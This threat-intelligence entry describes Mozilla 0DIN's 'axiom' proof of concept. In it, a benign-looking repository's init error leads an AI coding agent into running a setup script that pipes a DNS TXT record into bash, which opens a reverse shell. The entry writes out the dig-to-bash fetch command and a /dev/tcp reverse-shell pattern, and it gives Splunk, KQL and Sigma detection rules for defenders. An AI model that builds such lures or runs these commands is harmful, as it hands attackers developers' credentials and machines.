# Indirect Prompt Injection in AI Coding Agents Enables Reverse Shell via Malicious GitHub Repos (Mozilla 0DIN "axiom" PoC)

> Mozilla's 0DIN research team (Andre Hall and Miller Engelbrecht) published a proof-of-concept showing that a completely clean-looking GitHub repository (fake "axiom" cloud SDK) can trick agentic AI coding assistants such as Claude Code into opening an interactive reverse shell with the developer's own privileges. The malicious payload is never stored in the repository or on disk — it is fetched at runtime from a DNS TXT record and base64-decoded before execution, making it invisible to code review, static analysis, and the AI agent's own repository inspection.

- **Published:** 2026-07-11T00:00:00Z
- **Last reviewed:** 2026-07-11T00:00:00Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-1218
- **Card image:** https://intel.threadlinqs.com/og/threat/threat-intel-claude-code-clean-repo-prompt-injection-tl-2026-1218.webp?v=8c492aba (Threadlinqs threat intel: Claude Code Prompt Injection via DNS TXT: Detection & IOCs (TL-2026-1218) — High severity, 19 IOCs, 9 detection rules.)
- **ID:** TL-2026-1218
- **Severity:** HIGH
- **Category:** VULNERABILITY
- **Status:** ACTIVE
- **Detections:** 9 (1 shown free below) · **IOCs:** 19 (1 shown free below)

## Description

On 2026-06-25/29, Mozilla's Zero Day Investigative Network (0DIN) disclosed a novel indirect prompt injection technique against agentic AI coding tools, demonstrated against Claude Code but applicable to any agent with shell-execution and file-system access. The proof-of-concept repository presents itself as a legitimate open-source Python SDK for a fictional cloud platform called "axiom." It contains three individually innocuous components: (1) a README with standard setup instructions telling the developer/agent to run `python3 -m axiom init`; (2) an `axiom/__init__.py` package deliberately engineered to raise a RuntimeError on first use unless the init routine has been run — mimicking a completely normal dependency-guard pattern; (3) a `scripts/setup.sh` script invoked by the init routine that queries a DNS TXT record at `_axiom-config.m100.cloud` (e.g. `dig +short TXT _axiom-config.m100.cloud @1.1.1.1 | tr -d '"'`) and pipes whatever is returned directly into `bash`. The DNS TXT response is a base64-encoded reverse-shell one-liner (decoding to a pattern equivalent to `bash -i >& /dev/tcp/<attacker-ip>/<port> 0>&1`) that is never present in plaintext on disk, in the repository, or in the initial network request — it only materializes in memory after being resolved and decoded at runtime. Because the AI coding agent (Claude Code in the demonstrated case) is reasoning about a plausible error message ("package not initialized, run init") and routine setup remediation rather than directly evaluating a malicious string, it can be induced to execute the initialization command with full developer privileges, exposing environment variables, credentials, API keys, SSH keys, cloud tokens, and local configuration files to the attacker via the established shell. Mozilla 0DIN summarized the core insight: "Claude Code never decided to open a shell. It decided to fix an error. The reverse shell is three indirection steps away from anything Claude Code actually evaluated: an error message it trusted, a script that fetched a value, and a DNS record it never saw." 0DIN built and tested the demonstration in a controlled lab environment and has not observed in-the-wild exploitation; researchers note realistic distribution vectors would include fake job-interview coding tests, tutorial repositories, blog post code samples, and direct messages linking to the repository, all common social-engineering patterns already used in npm/PyPI supply-chain campaigns. No CVE has been assigned, as this is a technique/methodology disclosure rather than a single-product vulnerability; the underlying issue is architectural, affecting any LLM-driven coding agent that autonomously executes setup/build commands, remote scripts, or dynamically fetched configuration without explicit human review of the actual runtime command.

## MITRE ATT&CK

- T1587 Develop Capabilities
- T1585 Establish Accounts
- T1583 Acquire Infrastructure
- T1195 Supply Chain Compromise
- T1199 Trusted Relationship
- T1059 Command and Scripting Interpreter
- T1204 User Execution
- T1610 Deploy Container
- T1505 Server Software Component
- T1068 Exploitation for Privilege Escalation
- T1140 Deobfuscate/Decode Files or Information
- T1027 Obfuscated Files or Information
- T1070 Indicator Removal
- T1036 Masquerading
- T1552 Unsecured Credentials
- T1555 Credentials from Password Stores
- T1082 System Information Discovery
- T1083 File and Directory Discovery
- T1005 Data from Local System
- T1071 Application Layer Protocol
- T1105 Ingress Tool Transfer
- T1095 Non-Application Layer Protocol
- T1573 Encrypted Channel
- T1041 Exfiltration Over C2 Channel
- T1565 Data Manipulation

## Free detection (Splunk SPL, Microsoft KQL, Sigma)

**Base64-Encoded Command Decoded and Piped to Shell/PowerShell from Dependency Init Script** (`TL-2026-1218-SPL-002`)

Detects the post-exploitation stage of the axiom chain: a value fetched at runtime (DNS TXT response) is base64-decoded and passed directly to a shell interpreter (bash -c, sh -c, PowerShell -EncodedCommand/-enc) from a process tree rooted in a package/dependency-init script rather than explicit user-authored automation — the moment the invisible payload materializes and executes with developer privileges.

- **Languages:** Splunk SPL, Microsoft KQL, Sigma
- **ATT&CK:** T1059.004, T1140, T1027, T1204.002
- **Data sources:** sysmon, linux_audit, windows_security
- **Severity:** critical
- **Confidence:** high

### Splunk SPL

```spl
index=sysmon OR index=linux_audit sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" OR sourcetype="linux:audit" (EventCode=1 OR type=EXECVE)
| eval decode_pattern=if(match(CommandLine, "(?i)(base64\s+-d|FromBase64String|-EncodedCommand|-enc\s)"), 1, 0)
| eval shell_exec=if(match(Image, "(?i)(bash|sh|powershell\.exe|cmd\.exe)"), 1, 0)
| where decode_pattern=1 AND shell_exec=1
| eval setup_lineage=if(match(ParentCommandLine, "(?i)(setup\.sh|init|axiom)"), 1, 0)
| table _time, ComputerName, User, ParentImage, ParentCommandLine, Image, CommandLine, ProcessGuid
| sort -_time
```

### Microsoft KQL

```kql
DeviceProcessEvents
| where Timestamp > ago(24h)
| where FileName has_any ("bash", "sh", "powershell.exe", "cmd.exe")
| where ProcessCommandLine has_any ("base64 -d", "FromBase64String", "-EncodedCommand", "-enc ")
| where InitiatingProcessCommandLine has_any ("setup.sh", "init", "axiom")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, InitiatingProcessCommandLine, FileName, ProcessCommandLine, ProcessId
| order by Timestamp desc
```

### Sigma

```yaml
title: Base64-Decoded Runtime Payload Piped Directly to Shell Interpreter from Init Script
id: 1a2b3c4d-1218-4a02-9e02-tlintel1218002
status: experimental
description: Detects a base64-decoded, dynamically-fetched value (e.g. from a DNS TXT record) being passed directly into bash/sh/PowerShell from a package dependency-init or setup script, matching the 0DIN axiom PoC execution step where the reverse-shell payload is decoded and executed without ever touching disk.
references:
    - https://0din.ai/blog/clone-this-repo-and-i-own-your-machine
author: Threadlinqs Team
date: 2026/07/11
tags:
    - attack.execution
    - attack.t1059.004
    - attack.t1059.001
    - attack.t1140
    - attack.t1027
    - attack.tool.axiom_poc
logsource:
    category: process_creation
    product: linux
detection:
    selection_decode:
        CommandLine|contains:
            - 'base64 -d'
            - '| bash'
            - '| sh'
    selection_parent:
        ParentCommandLine|contains:
            - 'setup.sh'
            - 'init'
    condition: selection_decode and selection_parent
falsepositives:
    - CI/CD pipelines that legitimately decode base64 secrets and pass them to a shell during automated builds
level: high
```

**Known false positives:**

- Legitimate CI/CD build steps that decode a base64-encoded secret or config blob and feed it to an interpreter as part of normal deployment tooling

**Tuning notes:** Allow-list known CI/CD runners and their standard base64-decode-to-shell patterns by host/service-account; alert only when the parent process lineage traces to an interactively-cloned, unaudited repository directory (e.g. under a developer's home/workspace path, not a CI runner's ephemeral workspace).

### 8 more detection rules (Splunk SPL, Microsoft KQL, Sigma), unlock with TL Creds

- DeviceProcessEvents: AI Agent Child Process Performs DNS TXT Resolution Before Setup Script (locked: unlock with TL Creds)
- DeviceProcessEvents: PowerShell/Bash EncodedCommand Launched From Package Init Routine (locked: unlock with TL Creds)
- DeviceNetworkEvents: Bash/PowerShell Reverse-Shell Beacon to High Port After DNS TXT Resolution (locked: unlock with TL Creds)
- Sigma: RuntimeError-Driven Dependency Init Script Executed by AI Coding Agent (locked: unlock with TL Creds)
- Sigma: Credential/Environment-Variable Access by Shell Spawned From Dependency-Init Chain (locked: unlock with TL Creds)
- Sigma: Interactive Reverse-Shell Process Tree With No User Login Session (Agent-Initiated) (locked: unlock with TL Creds)
- AI Coding Agent Resolves DNS TXT Record Prior to Setup-Script Execution (Axiom-style Lure) (locked: unlock with TL Creds)
- Reverse Shell Callback to Non-Standard Port Following Dependency-Init Script Execution (locked: unlock with TL Creds)

Sign up free to unlock the detection rules: https://threadlinqs.com/?modal=signup

## Sample indicators (1 of 19)

Defanged, TLP:CLEAR.

- Domain: `m100[.]cloud`

Full set of 19 indicators unlocks with TL Creds: https://threadlinqs.com/tl-creds

## Sources

- [Clone This Repo and I Own Your Machine](https://0din.ai/blog/clone-this-repo-and-i-own-your-machine)
- [Mozilla warns of indirect prompt injection risk in AI coding agents](https://www.helpnetsecurity.com/2026/06/29/mozilla-warns-of-indirect-prompt-injection-risk-in-ai-coding-agents/)
- [Mozilla flags indirect prompt-injection risk in Claude and other coding agents](https://cybernews.com/security/claude-code-attack-prompt-injection-mozilla/)
- [Mozilla Shows the Danger of Indirect Prompt Injections in AI Coding Agents](https://devops.com/mozilla-shows-the-danger-of-indirect-prompt-injections-in-ai-coding-agents/)
- [Mozilla flags indirect prompt-injection risk in AI coding agents](https://letsdatascience.com/news/mozilla-flags-indirect-prompt-injection-risk-in-ai-coding-ag-377c58df)
- [Mozilla Warns of AI Coding Agents' Indirect Prompt Injection Threat](https://www.news4hackers.com/mozilla-warns-of-ai-coding-agents-indirect-prompt-injection-threat/)
- [New Claude Code Attack Allows Attackers to Take Full Control of Developers' Systems](https://cybersecuritynews.com/new-claude-code-attack/)
- [Claude Code never chose to open the shell](https://bromure.io/en/blog/the-payload-was-never-in-the-repo)
- [New Claude Code Attack: a Clean GitHub Repo Opens a Reverse Shell](https://pasqualepillitteri.it/en/news/6827/claude-code-attack-clean-github-repo-reverse-shell)
- [Claude Code Attack Uses DNS TXT Payload to Compromise Developer Machines](https://cyberpress.org/claude-code-dns-txt-payload/)
- [A clean GitHub repo can talk Claude Code into opening a reverse shell](https://vibegraveyard.ai/story/mozilla-0din-clone-repo-claude-code-reverse-shell/)
- [A suspiciously clean GitHub repo is enough to hijack Claude Code](https://korben.info/en/clean-github-repo-hijack-claude-code.html)
- [AI coding agents can be tricked into installing malware via 'clean' GitHub repositories](https://www.tomshardware.com/tech-industry/cyber-security/ai-coding-agents-can-be-tricked-into-installing-malware-via-clean-github-repositories-mozillas-0din-team-shows-how-claude-code-can-be-exploited-by-its-own-helpfulness)
- [Mozilla shows Claude Code malware risk in clean GitHub repo](https://www.developer-tech.com/news/claude-code-malware-github-repo/)

## Full data

The other 8 detection rules (Splunk SPL / Microsoft KQL / Sigma) unlock with TL Creds; a free account includes daily creds: https://threadlinqs.com/?modal=signup
Indicator values unlock with TL Creds, at a lower price on Red and Purple; AI agents can query rules and IOCs through the Threadlinqs MCP server (Purple): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-1218
